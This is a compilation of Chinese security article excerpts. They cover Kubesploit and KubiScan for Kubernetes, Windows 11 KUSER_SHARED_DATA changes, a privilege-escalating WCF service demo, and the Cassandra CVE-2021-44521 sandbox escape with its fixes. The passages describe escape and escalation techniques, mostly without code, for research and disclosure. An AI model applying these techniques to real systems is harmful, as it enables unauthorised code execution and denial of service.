TXTの記録がある場合、多数のXXX.16-digital.domain形式でCSのDNS馬として一時的に判断できます。ただし、CCSの3.14バージョンのリクエストが暗号化された後、暗号化キーはまだ見ていません。まだ解決されていません。 コマンドを実行する特性は投稿です。
  11. 本文講的是如何使用Kubesploit 和KubiScan 提高雲本地安全性。 主流科技企業廣泛使用Kubernetes,它是一個可擴展、輕量級的開源容器編排平台。這個受歡迎的平台擁有不斷擴展的安全工具、支持和服務生態系統,使其成為管理容器分配和服務的首選平台。 但Kubernetes 容器還是存在多種安全風險,包括運行時威脅、漏洞、暴露和失敗的合規性審計。 這些不安全感促使CyberArk 開發了兩個開源工具:Kubesploit 和KubiScan。這些工具通過在模擬真實攻擊的同時執行深度安全操作,使Kubernetes 社區受益。它們使我們能夠測試我們的安全能力。我們無需等待攻擊發生,而是可以主動準備並體驗現實世界的漏洞利用將如何影響我們的系統,然後採取行動防止這些攻擊。 在深入研究這些工具的工作原理並查看一些示例之前,讓我們簡要探討每種解決方案如何幫助提高安全性並了解如何設置它們。 KubesploitKubesploit是一個功能強大的跨平台後滲透漏洞利用HTTP/2命令控制服務器和代理工具,該工具基於Golang開發,基於Merlin項目實現其功能,主要針對的是容器化環境的安全問題。 雖然有一些工具可以幫助緩解Kubernetes 安全問題,但大多數工具實際上並沒有執行全面掃描。看到這個差距,CyberArk 創建了Kubesploit。開發人員在Golang(Go 編程語言)中為容器化環境實施多平台工具Kubesploit。 Kubesploit 通過在集群上執行複雜的攻擊向量覆蓋來工作,這種模擬有助於我們了解我們對網絡中類似攻擊的彈性。 它的各種模塊檢查不同的漏洞。然後,它利用易受攻擊的kubelet 並掃描從Kubernetes 服務到Kubernetes 集群的端口。 Github 存儲庫包含有關Kubesploit 入門的詳細信息。 設置Kubesploit讓我們探索如何掃描Kubernetes 集群以查找已知的常見漏洞和暴露(CVE)。我們將使用K8sClusterSCVEScan 來執行此操作。首先,讓我們將代理加載到第一個終端的根目錄中。然後,在第二個終端中,我們使用./server命令啟動服務器。 接下來,我們運行use module linux/來加載我們想要使用的任何模塊。例如,clusterCVEScan 模塊利用runC 逃逸到主機。要使用該模塊,我們需要設置Kubernetes 集群地址,並運行集群以查看該集群的各種漏洞。 在每個CVE 的描述屬性中,我們可以閱讀有關掃描發現的集群風險的詳細消息。 如何使用Kubesploit讓我們回顧一下如何使用Kubesploit 檢測漏洞的示例。在我們開始之前,請確保你的系統運行與go.mod 文件(Go 1.14)中相同的Go 版本。其他版本可能會給你一個構建約束錯誤。 首先,我們加載代理url 地址。在本例中,你將使用Kubesploit 環境正在偵聽的URL,例如: 然後,我們使用命令./server 運行我們的Kubesploit 服務器。我們通過對Kubesploit 服務器環境執行代理列表來檢查代理連接是否已啟用。 要掃描URL 中的多個地址,我們使用PortScan 模塊,如下所示: 現在,讓我們通過允許創建豁免容器來最小化我們的容器漏洞。我們使用ContainerBreakoutMounting 模塊: 如果操作完成,我們會收到一條消息說我們成功了。 開始使用KubiScan除了Kubesploit, CyberArk還創建了KubiScan。 Kubiscan 是另一個開源工具,可幫助集群管理員診斷可能危及集群的權限洩露。它在Kubernetes 的基於角色的訪問控制(RBAC) 授權模型中掃描Kubernetes 集群以查找有風險的權限。 KubiScan 發現易受攻擊的角色和角色綁定,並識別它們的集群、pod 和主題。這些信息使管理人員能夠在廣泛的環境中檢測被破壞的許可,攻擊者可能會迅速破壞這些許可。 設置KubiScan現在我們對KubiScan 有了更多的了解,我們將在我們的主節點上進行設置。我們使用命令kubectl get pods 來查找可用的pod。然後,我們使用kubiscan -rp 搜索具有易受攻擊帳戶的pod。 獲得特權賬戶後,我們需要確認它是否出現在風險主題列表中。我們通過運行命令kubiscan -rs 來做到這一點。 然後,我們需要找出該主題有多少規則使其能夠洩漏秘密。為此,我們運行命令: 為了獲取特定集群的令牌,我們使用 列出其角色綁定。系統管理員可以使用該令牌檢查集群是否可以在默認命名空間中列出機密。當我們執行該命令時,它會顯示帶有各種屬性的JSON 格式的輸出,以顯示漏洞可能在哪裡。 如何使用KubiScan讓我們研究一個使用KubiScan來發現用戶環境中的漏洞的實際示例。首先,我們在環境中使用kubectl get pods 檢查我們的pod 的狀態。我們應該會看到與下麵類似的輸出,具體取決於我們擁有的pod 數量: 我們使用命令kubiscan -rp 來獲取易受攻擊的主題: 然後,使用kubiscan -rs來驗證該賬戶是否存在於風險對象列表中: 為了搜索特定服務帳戶中的所有規則,我們使用kubiscan-aars “risky-sa” -ns “default” -k “ServiceAccount”。 我們還可以使用-aarbs “risky-sa” -ns “default” -k “ServiceAccount”列出服務帳戶角色綁定。 由於Kubernetes 集群是分佈式和動態的,因此它們容易受到攻擊並且難以保護。為了保護我們的Kubernetes 環境,DevSecOps 需要在整個應用程序生命週期中使用各種安全工具和技術,從構建到部署和運行時。 因為我們需要意識到我們的容器安全性,CyberArk 的網絡安全團隊一直在研究新的工具來填補Kubernetes 的安全漏洞。 Kubesploit 和KubiScan 等解決方案可幫助Kubernetes 社區識別和遏制阻礙我們運行的各種漏洞。 為了保證Kubernetes 的安全,開發人員需要一個能夠牢固地保護和驗證容器並管理秘密的平台。我們需要確保我們只允許訪問特定的應用程序、工具和信息。
  12. 簡介不久前,我看到了一條有趣的推文,其中談到了Windows 11的內部預覽版本中KUSER_SHARED_DATA即將發生的一些變化。 這引起了我的極大興趣,因為KUSER_SHARED_DATA是一個位於靜態虛擬內存空間的結構體,在傳統的Windows內核中,它位於0xfffff78000000000處。從漏洞利用的角度來看,由於其靜態特性,攻擊者經常通過它來攻擊系統內核,特別是在遠程入侵內核的時候。雖然KUSER_SHARED_DATA結構體既沒有包含指向ntoskrnl.exe的指針,也不可執行,但有一段內存與KUSER_SHARED_DATA結構體位於同一內存頁內,並且該頁中沒有包含任何數據,因此,它可用作具有靜態地址的代碼洞。 撰寫本文時,在最新版本的windows 11 內部預覽版中,KUSER_SHARED_DATA結構體的長度為0x738字節。 在Windows上,一個給定的內存“頁面”的長度通常為0x1000字節,即4KB。由於KUSER_SHARED_DATA結構體的長度為0x738字節,所以,內存頁中仍有0x8C8字節的內存空間可供攻擊者濫用。因此,這些未使用的字節仍然具有與KUSER_SHARED_DATA結構體其他部分相同的內存權限,即RW,或讀/寫權限。這意味著: “KUSER_SHARED_DATA代碼洞”不僅是一個可讀可寫的代碼洞,而且,還具有靜態地址。實際上,Morten Schenk在BlackHat 2017的演講中早就講過這種技術,我之前也寫過一篇文章,就濫用這種結構體來執行代碼的漏洞進行了簡單介紹。 如果這個代碼洞得到了適當的處理,攻擊者就需要在內存中找到另一個位置來存放其shellcode。另外,具有讀/寫原語的攻擊者可以破壞對應於KUSER_SHARED_DATA的頁表項(PTE),從而使內存頁變為可寫的。然而,為了實現這一點,攻擊者需要繞過kASLR並將一個原語寫入內存——這意味著:攻擊者基本上已經完全控制了系統。緩解這一代碼漏洞的方法,就是迫使攻擊者首先得繞過kASLR,然後,才能將惡意代碼寫入內存,從而提高漏洞利用的門檻。如果攻擊者無法直接寫入靜態地址,則需要定位其他內存區域。因此,我們可以將其歸類為一種更小、更專用的緩解措施。無論如何,我仍然覺得這是一個有趣的研究課題。 最後,在開始之前,本文探討的內容都是在ntoskrnl.exe的上下文中進行的;當啟用基於虛擬化的安全特性(VBS)時,這些內容並不適用於VTL1級別安全內核。正如Saar Amar所指出的,這種結構體的地址,在VTL1中實際上是隨機化的。 0xfffff78000000000現在變為只讀的了對於KUSER_SHARED_DATA可能的變化,我的第一個想法是內存地址最終(不知何故)將被完全隨機化。為了驗證這一點,我將KUSER_SHARED_DATA結構體的靜態地址傳遞給了WinDbg中的dt命令,令我驚訝的是,該結構體在解析後仍然位於0xfffff78000000000處。 我的下一個想法是,嘗試以0x800為偏移量,對KUSER_SHARED_DATA結構體進行寫入操作,以查看是否發生任何意外行為。執行該操作後,通過檢查PTE,我們發現KUSER_SHARED_DATA現在變成只讀的了。 下面提供的地址0xfffffe7bc0000000是與虛擬地址0xfffff78000000000或KUSER_SHARED_DATA結構體關聯的PTE的虛擬地址。在您的系統上,可以使用Windbg的!pte0xfffff78000000000命令來查找該地址。為了提高可讀性,這裡省略了這些命令,不過,我們將告訴讀者哪些地址對應於哪些結構體,以及如何在自己的系統上面查找這些地址。 後來,有次跟同事Yarden Shafir聊天,他告訴我KUSER_SHARED_DATA中有一些東西(例如SystemTime成員)會不斷更新,同時,他還鼓勵我繼續深挖,因為很明顯,KUSER_SHARED_DATA結構體肯定是通過只讀PTE進行寫入/更新的。正如我後來發現的那樣,這也是有意義的,因為與KUSER_SHARED_DATA對應的PTE的Dirty位被設置為0,這意味著該內存頁還沒有被寫入。那麼,這到底是怎麼發生的呢? 帶著這些信息,我開始借助IDA尋找任何有趣的東西。 nt!MmWriteableUserSharedData來救場了!在IDA中搜索了0xFFFF78000000000或“usershared”之類的關鍵詞後,我偶然發現了一個我以前從未見過的符號——nt!mmwriteableusershareddata。在IDA中,這個符號似乎被定義為0xFFFF78000000000。 然而,在查看實時內核調試會話時,我注意到地址似乎有所不同。不僅如此,在重啟之後,這個地址也發生了變化! 我們還可以看到,0xFFFF78000000000靜態地址和新符號都指向相同的內存內容。 然而,是否存在這種情況:兩個單獨的內存頁面指向兩個單獨的結構體,並且其中包含相同的內容?或者它們是以某種方式交織在一起的?在查看了這兩個PTE之後,我確認了這兩個虛擬地址雖然不同,但都使用了相同的頁幀號(PFN)。此外,我們可以通過以下命令找到“靜態”KUSER_SHARED_DATA結構體和新符號nt!MmWriteableSharedUserData的PTE: !pte0xfffff78000000000 !pte poi(nt!MmWriteableSharedUserData) 如上所述,與“靜態”KUSER_SHARED_DATA結構體相對應的PTE的地址是0xfffffe7bc000000。而地址0xffffcc340c47010正好是與nt!MmWriteableSharedUserData的PTE相對應的虛擬地址。 PFN乘以頁的大小(在Windows上通常為0x1000)將得到相應虛擬地址的物理地址(就PTE而言,它用於獲取4KB對齊頁的“最終”分頁結構)。由於這兩個虛擬地址都包含相同的PFN,這意味著當將PFN轉換為物理地址(本例中為0xfc1000)時,兩個虛擬地址將映射到相同的物理頁面! 我們可以通過查看映射到每個虛擬地址的物理地址的內容以及虛擬地址本身來確認這一點。 我們這裡有兩個虛擬地址,並且具有不同的內存權限(一個是只讀的,另一個是讀/寫的),它們由一個物理頁面提供支持。換句話說,有兩個虛擬地址具有相同物理內存的不同視圖。這怎麼可能? 內存段圍繞KUSER_SHARED_DATA實現的變動,這裡的“要點”是內存段的概念。這意味著一段內存實際上可以由兩個進程共享(內核也是如此,就像我們的例子一樣)。其工作方式是,相同的物理內存可以映射到一系列虛擬地址。 在本例中,KUSER_SHARED_DATA與nt!MmWriteableUserSharedData(一個虛擬地址)的新隨機讀/寫視圖,由與“靜態”KUSER_SHARED_DATA(另一個虛擬地址)共享同一段物理內存。這意味著,現在這個結構體具有兩個“視圖”,具體如下所示: 這意味著:只要更新其中一個虛擬地址(例如nt!MmWriteableSharedUserData)的內容,將同時更新另一個虛擬地址(0xfffff78000000000)的內容。這是因為對其中一個虛擬地址處內容的改變將更新物理內存的內容。由於這段物理內存的內容供兩個虛擬地址共享,所以,兩個虛擬地址的內容都將收到更新。這為Windows提供了一種方法:在保持舊的KUSER_SHARED_DATA地址的同時,也允許一個新的映射視圖是隨機的,以“緩解”傳統上在KUSER_SHARED_DATA結構體中發現的靜態讀寫代碼洞。0xfffff78000000000的“舊”地址現在可以被標記為只讀,因為這個內存有一個新的視圖可以用來代替它,這個視圖是隨機的!接下來,我們開始介紹更複雜、更低層次的實現細節。 nt!MiProtectSharedUserPage在繼續分析之前,請允許我介紹兩個術語。當我提到內存地址0xFFFF78000000000(KUSER_SHARED_DATA的靜態映射)時,我將使用術語“static”KUSER_SHARED_DATA。當我提及新的“隨機化映射”時,我將使用符號名nt!MmWriteableSharedUserData。這樣的話,每次都能指出我所談論的'版本'。 在WinDbg中進行了一些動態分析後,我終於搞明白了KUSER_SHARED_DATA的更新到底是如何實現的。為此,我首先在正在加載的ntoskrnl.exe上設置一個斷點。在現有的內核調試會話中,可以使用以下命令來實現這一點: sxe ld nt .reboot 在斷點被命中後,我們實際上可以看到新發現的符號nt!MmWriteableUserSharedData指向了“靜態”的KUSER_SHARED_DATA地址。 這顯然表明,這個符號在加載過程中會進一步更新。 在通過IDA逆向分析的過程中,我注意到在函數nt!MiProtectSharedUserPage中,對nt!MmWriteableSharedUserData有一個交叉引用,這引起了我們的極大興趣。 當執行仍然處於暫停狀態時,由於ntoskrnl.exe觸發了斷點,我趁機在上述函數nt!MiProtectSharedUserPage上設置了另一個斷點,並發現,在到達新的斷點後,nt!MmWriteableSharedUserData符號仍然指向舊的0xfff78000000000地址。 更有趣的是,“靜態的”KUSER_SHARED_DATA'在加載過程中的這一時刻仍然是靜態的,可讀的,可寫的! 下面的PTE地址0xffffb7fbc0000000是與虛擬地址0xfff78000000000相關的PTE的虛擬地址。由於我們重新啟動系統,導致ntoskrnl.exe的加載中斷,PTE地址也發生了變化。如前所述,這個地址可以通過命令!pte0xfffff78000000000找到,並且不同的系統,這個地址可能會有所差異: 因為我們知道0xfffff78000000000,這個“靜態”的KUSER_SHARED_DATA結構體的地址,在某一時刻會變成只讀的,這說明這個函數可能負責改變這個地址的權限,並且動態地填充nt!MmWriteableSharedUserData,特別是基於命名約定。 深入研究nt!MiProtectSharedUserPage的反彙編代碼,我們可以看到nt!MmWriteableSharedUserData這個符號在這個指令執行時被更新為RDI的值。但是這個值是從哪裡來的呢? 讓我們來看看這個函數的開頭部分。首先引起我們注意的就是內核模式地址和對nt!MI_READ_PTE_LOCK_FREE和nt!Feature_KernelSharedUserDataAaslr__private_IsEnabled的調用(這對我們的目的來說,興趣不大)。 上圖中內核模式地址0xfffffb7000000000,在WinDbg的反彙編窗口中用紅框標出,實際上是頁表項的基址(例如PTE數組的地址)。第二個值,即常量0x7bc00000000,是用來索引這個PTE數組的值,以獲取與“靜態”的KUSER_SHARED_DATA相關的PTE。這個值(PTE數組的索引)可以通過以下公式得到: 1、將目標虛擬地址(本例中為0xfff78000000000)轉換成虛擬頁號(VPN),方法是用地址除以一個頁面的大小(本例中為0x1000)。 2、將VPN乘以一個PTE的大小(64位系統=8字節) 我們可以用上述公式來處理虛擬地址0xfffff78000000000,得到的值就是PTE數組相應的索引,從而獲得與“靜態”的KUSER_SHARED_DATA結構體相關的PTE。這可以在上面的WinDbg的命令窗口中看到。 這意味著與“靜態”的KUSER_SHARED_DATA結構體相關的PTE將被傳入nt!MI_READ_PTE_LOCK_FREE。上述PTE的地址為0xffffb7fbc0000000。 簡單來說,nt!MI_READ_PTE_LOCK_FREE將解除對PTE內容的引用,並將其返回,同時,還會對作用域內的頁表項進行檢查,看看它們是否位於PML4E數組的已知地址空間內,其中包含用於PML4分頁結構的PML4頁表條目數組。回顧一下,PML4結構是基本分頁結構。所以,換句話說,這確保了所提供的頁表項駐留在分頁結構的某個地方。這可以在下面看到。 然而,稍有細微差別的是,該函數實際上是在檢查頁表項是否位於“用戶模式分頁結構”中,該結構又稱為“影子空間”。回想一下,在KVA Shadow的實現(即Microsoft的內核頁表隔離(KPTI)實現)中,現在有兩套分頁結構:一套用於內核模式執行,另一套用於用戶模式。這種緩解措施被用於防禦Meltdown漏洞。但是,這個檢查很容易被“繞過”,因為PTE顯然被映射到了內核模式的地址,所以,肯定不是通過“用戶模式分頁結構”來表示的。 如果PTE不在“影子空間”中,則nt!MI_READ_PTE_LOCK_FREE將返回PTE解引用的內容(例如,PTE的各個“比特”)。如果PTE確實位於“影子空間”中,在返回內容之前,還將對PTE進行一些檢查,以確定KVAS是否被啟用。從漏洞利用的角度來看,這對我們關注的整體變化不是太重要,但它仍然是整個“過程”的一部分。 此外,對我們來說nt!Feature_KernelSharedUserDataAslr__private_IsEnabled並不是很有用——利用它,我們只能通過命名規則了解是否走在正確的道路上。這個函數似乎主要是為了收集關於這個功能的指標和遙測數據。 在第一次調用nt!MI_READ_PTE_LOCK_FREE後,“靜態”的KUSER_SHARED_DATA結構體的PTE的內容將被複製到一個堆棧地址:RSP,其偏移量為0x20。類似的,這個堆棧地址也用於對另一個函數(即nt!MI_READ_PTE_LOCK_FREE)的調用。再說一次,這對我們來說並不是特別重要,但它卻是這個過程的一部分。 然而,更有趣的是,nt!MI_READ_PTE_LOCK_FREE解除了對PTE內容的引用,並通過RAX返回它們。由於定義內存的屬性/權限的“靜態”的KUSER_SHARED_DATA結構體的PTE“比特”位於RAX中,所以,需要對其進行相應的位運算,以便從“靜態”的KUSER_SHARED_DATA的PTE中提取頁幀號(PFN)。這個值在PTE中的偏移量是0xf52e,其值是0x800 000000000f52e863。 這個PFN將在以後調用nt!MiMakeValidPte時用到。現在,讓我們繼續前進。 現在,我們可以將注意力轉向對nt!MiMakeValidPte的調用。 請允許我簡單介紹一下PFN記錄:PFN的“值”在技術上只是一個抽象的值,當它乘以0x1000(一個頁面的大小),就會得到一個物理內存地址。在內存分頁過程中,它通常是下一個分頁結構的地址,或者,如果被用於“最後一個”分頁表,即PT(page table)時,可以用來計算最後一個4KB對齊的物理內存頁。 除此之外,PFN記錄還被存儲在一個虛擬地址數組中。這個數組被稱為PFN數據庫。這樣做的原因是,內存管理器可以通過線性(虛擬)地址訪問頁表項,這就提高了性能,因為MMU不需要不斷遍歷所有的分頁結構來獲取PFN、頁表項等。實際上,這就為記錄的引用提供了一種簡單的方法,即通過一個索引訪問數組。這適用於所有的“數組”,包括PTE數組。同時,像nt!MiGetPteAddress這樣的函數,也能夠通過索引訪問相應的頁表數組,比如PTE數組(對應於nt!MiGetPteAddress),PDE數組(PDPT條目,通過nt!MiGetPdeAddress進行訪問),等等。 小結在本文中,我們為讀者詳細介紹了在Windows 11內部預覽版中,KUSER_SHARED_DATA結構體發生了哪些新變化。由於篇幅較長,我們分為上下兩篇進行發布。更多精彩內容,敬請期待! (未完待續!)
  13. 0x00 前言本文將要介紹在禁用元數據發布(MEX)時WCF開發的相關內容,給出文章《Abusing Insecure Windows Communication Foundation (WCF) Endpoints》 的完整代碼示例。 0x01 簡介本文將要介紹以下內容: ◼禁用MEX實現WCF ◼文章完整代碼示例 0x02 禁用MEX實現WCF禁用MEX時,需要根據服務端的代碼手動編寫客戶端代碼 本節採用命令行實現WCF的方式作為示例 開發工具:Visual Studio 2015 1.服務端編寫(1)新建項目 選擇Visual C#-Console Application,名稱為NBTServer (2)新建WCF服務 選擇Add-New Item.選擇WCF Service,名稱為Service1.cs (3)修改service1.cs 添加DoWork的實現代碼,代碼示例: (4)修改Program.cs 添加引用System.ServiceModel 添加啟動代碼,代碼示例: (5)修改App.config (6)編譯運行 命令行輸出地址:net.tcp://localhost/vulnservice/runme (7)測試 此時無法使用WcfTestClient進行測試 2.客戶端編寫(1)新建項目 選擇Visual C#-Console Application,名稱為NBTClient (2)修改Program.cs 添加引用System.ServiceModel 代碼示例: 0x03 文章完整代碼示例代碼示例: https://github.com/VerSprite/research/tree/master/projects/wcf/VulnWCFService 相關介紹: https://versprite.com/blog/security-research/abusing-insecure-wcf-endpoints/ 代碼示例實現了WCF的服務端,但是缺少安裝部分和客戶端的編寫,這裡給出完整示例 1.服務端編寫(1)下載代碼 https://github.com/VerSprite/research/tree/master/projects/wcf/VulnWCFService (2)新建Windows Service 選擇Add-New Item.選擇Windows Service,名稱為Service1.cs (3)設置服務信息 選中Service1.cs,右鍵-Add Installer 項目中自動創建ProjectInstaller.cs文件,該文件會添加倆個組件serviceProcessInstaller1和serviceInstaller1 選中serviceProcessInstaller1組件,查看屬性,設置account為LocalSystem 選中serviceInstaller1組件,查看屬性,設置ServiceName為VulService1 (4)啟動服務 編譯生成VulnWCFService.exe 安裝服務: 啟動服務: 補充:卸載服務 2.客戶端編寫(1)新建項目 選擇Visual C#-Console Application,名稱為VulnWCFClient (2)修改Program.cs 添加引用System.ServiceModel 代碼示例: (3)編譯運行 編譯生成VulnWCFClient,運行後彈出System權限的計算器,測試成功 0x04 小結本文介紹了禁用元數據發布(MEX)時WCF開發的相關內容,給出文章《Abusing Insecure Windows Communication Foundation (WCF) Endpoints》 的完整代碼示例,便於WCF相關知識的研究。
  14. 近日JFrog的安全研究團隊披露了Apache Cassandra中的一個RCE(遠程代碼執行)漏洞,該漏洞被分配給了CVE-2021-44521 (CVSS 8.4)。這個Apache安全漏洞很容易被利用,並且有可能對系統造成嚴重破壞,但幸運的是,它只體現在Cassandra 的非默認配置中。 Cassandra 是一個高度可擴展的分佈式NoSQL 數據庫,由於其分佈式特性的優勢,它非常受歡迎。 Cassandra 被Netflix、Twitter、Urban Airship、Constant Contact、Reddit、Cisco、OpenX、Digg、CloudKick、Ooyala 等企業使用。 Cassandra 在DevOps 和雲原生開髮圈中也非常受歡迎,這從它對CNCF 項目(例如Jaeger)的支持可以看出。 一些公司甚至提供基於Cassandra 的基於雲的一站式解決方案,例如DataStax(一種無服務器、多雲DBaaS)。 在這篇文章中,我們將介紹研究人員是如何發現RCE 安全漏洞的背景,提供有關PoC 漏洞利用的詳細信息,並分享建議的修復和緩解選項。 UDF 和NashornCassandra 提供了創建用戶定義函數(UDF) 以執行數據庫中數據的自定義處理的功能。 Cassandra UDF 默認可以用Java 和JavaScript 編寫。在JavaScript 中,它使用Java 運行時環境(JRE) 中的Nashorn 引擎,這是一個運行在Java 虛擬機(JVM) 之上的JavaScript 引擎。 在接受不受信任的代碼時,不保證Nashorn 是安全的。因此,任何允許此類行為的服務都必須始終將Nashorn 執行包含在沙箱中。 例如,運行以下Nashorn JavaScript 代碼允許執行任意shell 命令- Cassandra 的開發團隊決定圍繞UDF 執行實現一個自定義沙箱,該沙箱使用兩種機制來限制UDF 代碼: 1.使用白名單和黑名單的過濾機制(只允許匹配白名單和不匹配黑名單的類): 2.使用Java 安全管理器來強制執行代碼的權限(在默認配置中,不授予權限) 如NashornEscape項目實施沙箱來保護Nashorn 代碼執行。 通過Nashorn 訪問Java 類Nashorn 引擎通過使用Java.type 提供對任意Java 類的訪問。 例如: var System=Java.type('java.lang.System') 將允許我們使用System 變量訪問java.lang.System 數據包。 具有足夠權限的用戶可以使用create函數查詢創建任意函數。例如,此函數會將其輸入打印到控制台: 用戶可以使用以下SELECT 查詢調用該函數。 CVE-2021-44521什麼時候會被利用當我們研究Cassandra UDF 沙箱實現時,我們意識到特定(非默認)配置選項的混合可以讓我們濫用Nashorn 引擎、逃離沙箱並實現遠程代碼執行,這就是CVE-2021-44521 的漏洞。 當cassandra.yaml 配置文件包含以下定義時,Cassandra 部署容易受到CVE-2021-44521 的攻擊: 請注意,這些是唯一需要的非默認配置選項,因為啟用UDF 時,所有用戶都可以創建和執行任意UDF,這包括默認啟用的匿名登錄(authenticator=AllowAllAuthenticator)。 請注意,Cassandra 也可以通過Config.java 配置文件進行配置,該文件支持與上述相同的標誌。 前兩個標誌啟用對Java 和JavaScript的UDF 支持。 enable_user_defined_functions_threads 是利用CVE-2021-44521 的關鍵。 Cassandra 還支持在UDF 中使用的其他腳本語言,例如Python。 JFrog 產品是否容易受到CVE-2021-44521 的攻擊? JFrog 產品不受CVE-2021-44521 攻擊,因為它們不使用Apache Cassandra。 解釋enable_user_defined_functions_threads 源代碼(Config.java)如下: enable_user_defined_functions_threads 默認設置為true,這意味著每個調用的UDF 函數都將在不同的線程中運行,並且具有沒有任何權限的安全管理器,我們將在後面的部分中介紹針對此默認配置的DoS 攻擊。 當該選項設置為false 時,所有調用的UDF 函數都在Cassandra 守護程序線程中運行,該線程具有具有某些權限的安全管理器。我們將展示如何濫用這些權限來實現沙箱逃逸和RCE。 請注意,源代碼中的文檔暗示關閉該值是不安全的,但由於拒絕服務漏洞。我們將演示關閉此值直接導致遠程代碼執行。 RCE通過沙箱逃逸UDF 沙箱不會直接允許我們在服務器上執行代碼,例如通過調用java.lang.Runtime.getRuntime().exec()。 在研究沙箱實現時,我們發現我們可以使用至少兩種方式逃離沙箱: 濫用Nashorn 引擎實例; java.lang.System 的load 和loadLibrary 函數; 由於Cassandra 的類過濾機制允許訪問java.lang.System,所以這兩種方法都可以用來逃避沙箱。 第一種方法:濫用Nashorn 引擎實例為了完全逃離沙箱,我們必須: 1.禁用類過濾機制; 2.在沒有安全管理器的情況下運行; 當enable_user_defined_functions_threads 設置為false 時,我們的UDF 代碼運行在daemon 線程中,該線程具體有調用setSecurityManager 的權限!這立即允許我們關閉安全管理器,所以現在我們只需要繞過類過濾機制。 在Nashorn 上運行JavaScript 代碼時,我們可以使用this.engine 來訪問Nashorn 實例引擎。正如Beware the Nashorn 博客中所述,這實際上允許我們通過創建一個不受類過濾機制限制的新腳本引擎來繞過任何類過濾器。 但是,較新的Java 版本(8u191 及更高版本)已收到緩解措施,可在安全管理器處於活動狀態時阻止訪問this.engine。 我們可以調用setSecurityManager 來禁用安全管理器,然後訪問this.engine。 PoC 查詢結果如下所示: 此查詢將關閉安全管理器,將其設置為空,然後創建一個不受類過濾機制限制的新腳本引擎,在Cassandra服務器上運行任意shell命令。 執行PoC 是為了在Cassandra 服務器上創建一個名為“hacked”的新文件: 第二種方法:java.lang.System的load和loadLibrary函數除了Nashorn 轉義技術之外,還有更多的庫函數未被類過濾器過濾,並且在安全管理器關閉時可能被濫用於代碼執行。 例如,java.lang.System 的load 方法允許我們通過指定絕對路徑來加載任意共享對象。 假設攻擊者可以以某種方式將惡意共享對象文件上傳到易受攻擊的系統(只要攻擊者知道上傳文件的完整路徑,受害者設備上的上傳目錄是什麼並不重要),可以使用加載方法加載庫,它可以運行任意代碼作為其入口例程的一部分。 其他值得注意的漏洞當我們在一些非默認配置(儘管合理)上運行Cassandra和相關工具)時,我們發現並披露了一些值得一提的漏洞。這些選項被記錄為不安全,但我們想強這些漏洞及其確切影響,以便供應商不要在可公開訪問的網絡中部署此類配置。 Cassandra UDF 拒絕服務當啟用UDF函數並將enable_user_defined_functions_threads標誌設置為true(默認值)時,惡意用戶可以創建一個將關閉Cassandra守護進程的UDF,這是由UDF超時機制的行為引起的,該機制由user_defined_function_fail_timeout標誌控制。 如果UDF 函數運行超過分配的時間,則整個Cassandra 守護程序將被閉(不僅僅是運行UDF 的線程)。儘管這是記錄在案的行為,但攻擊者可以通過創建一個使用while(true) 永遠循環的函數來輕鬆地對整個數據庫進行DoS。 目前還沒有什麼直接方法緩解此漏洞(將user_function_timeout_policy 標誌從die 更改為ignore 可能會導致更嚴重的DoS),儘管可以通過確保低權限用戶無法創建任意UDF 來間接緩解該漏洞。 通過不安全對象反序列化的StressD RCECassandra 包含一個名為cassandra-stressd 的工具,用於對數據庫進行壓力測試。該工具已被Apache 記錄為“不安全”工具; 這是一個面向網絡的工具,默認情況下只監聽localhost 接口; 但是,這個工具可以通過提供-h標誌和IP地址來監聽任何接口; 來自套接字的輸入直接由StressServer.java 反序列化,這意味著攻擊者可能會提供一個序列化的“gadget”對象,導致反序列化時執行任意代碼: 這個漏洞的利用取決於正在運行的Cassandra 實例的類路徑中的可用類。 我們敦促用戶確保他們沒有運行帶有指向外部接口的-h 標誌的cassandra-stressd 工具。 如何修復CVE-2021-44521?我們強烈建議所有Apache Cassandra 用戶升級到以下版本,它可以緩解CVE-2021-44521: 3.0.x 用戶應升級到3.0.26 3.11.x 用戶應升級到3.11.12 4.0.x 用戶應升級到4.0.2 Apache 的修復添加了一個新標誌——allow_extra_insecure_udfs(默認為false),它不允許關閉安全管理器並阻止對java.lang.System 的訪問。 如果用戶希望他們的udf與沙箱外的元素交互(並且不介意潛在的安全風險),可以打開該標誌來恢復原來的行為(不推薦!)。 如何緩解CVE-2021-44521?對於無法升級Cassandra實例的用戶,我們建議採取以下緩解措施: 如果UDF沒有被積極使用,可以通過將enable_user_defined_functions設置為false(這是默認值)來完全禁用它們; 如果需要UDF,請將enable_user_defined_functions_threads 設置為true(這是默認值); 通過刪除以下權限來刪除為不受信任的用戶創建、更改和執行函數的權限:ALL FUNCTIONS、ALL FUNCTIONS IN KEYSPACE 和FUNCTION 用於CREATE、ALTER 和EXECUTE 查詢。 這可以使用以下查詢來完成,方法是將role_name替換為所需的角色。 總結最後,我們強烈建議將Cassandra 升級到最新版本,以避免CVE-2021-44521威脅。
  15. 一、前言一般安全都属于运维部下面,和上家公司的运维总监聊过几次一些日常安全工作能不能融入到DevOps中,没多久因为各种原因离职。18年入职5月一家第三方支付公司,前半年在各种检查中度过,监管形势严峻加上大领导对安全的重视(主要还是监管),所有部门19年的目标都和安全挂钩。由于支付公司需要面对各种监管机构的检查,部分安全做的比较完善,经过近一年对公司的熟悉发现应用安全方面比较薄弱。这部分业内比较好的解决方案就是SDL,和各厂商交流过之后决定自己照葫芦画瓢在公司一点一点推广。 上图为标准版的SDL,由于运维采用DevOps体系,测试也使用自动化进行功能测试,版本迭代周期比较快,安全人手不足加上对SDL的威胁建模等方法也一头雾水、如果把安全在加入整个流程会严重影响交付时间。在这种情况调研了一些业内的一些做法,决定把SDL精简化 。精简版SDL如下: . 二、精简版SDL落地实践安全培训SDL核心之一就是安全培训,所以在安全培训上我们做了安全编码、安全意识、安全知识库、安全SDK 安全编码:我们在网上找了一些java安全编码规范、产品安全设计及开发安全规范结合公司实际业务出了一版。 因为各种监管机构对培训都有要求,借此推了一下安全培训,定期对开发和新员工入职的培训。 安全意识:公司有企业微信公众号,大部分员工都关注了,在公众号推广了一波。 宣传完之后答题,答题满分送小礼品 因为人手不足,而功能测试和安全测试本质上有很多相通的地方,测试部门也比较配合,针对测试人员做了一些安全测试相关的培训,但是效果并不是太理想。 安全知识库:在漏洞修复过程中,开发很多不太了解漏洞原理、修复方案,所以我们建立了安全知识库,开发先到安全知识库查相关解决方法。找不到的再和安全人员沟通,安全人员对知识库不断更新,形成一个闭环。 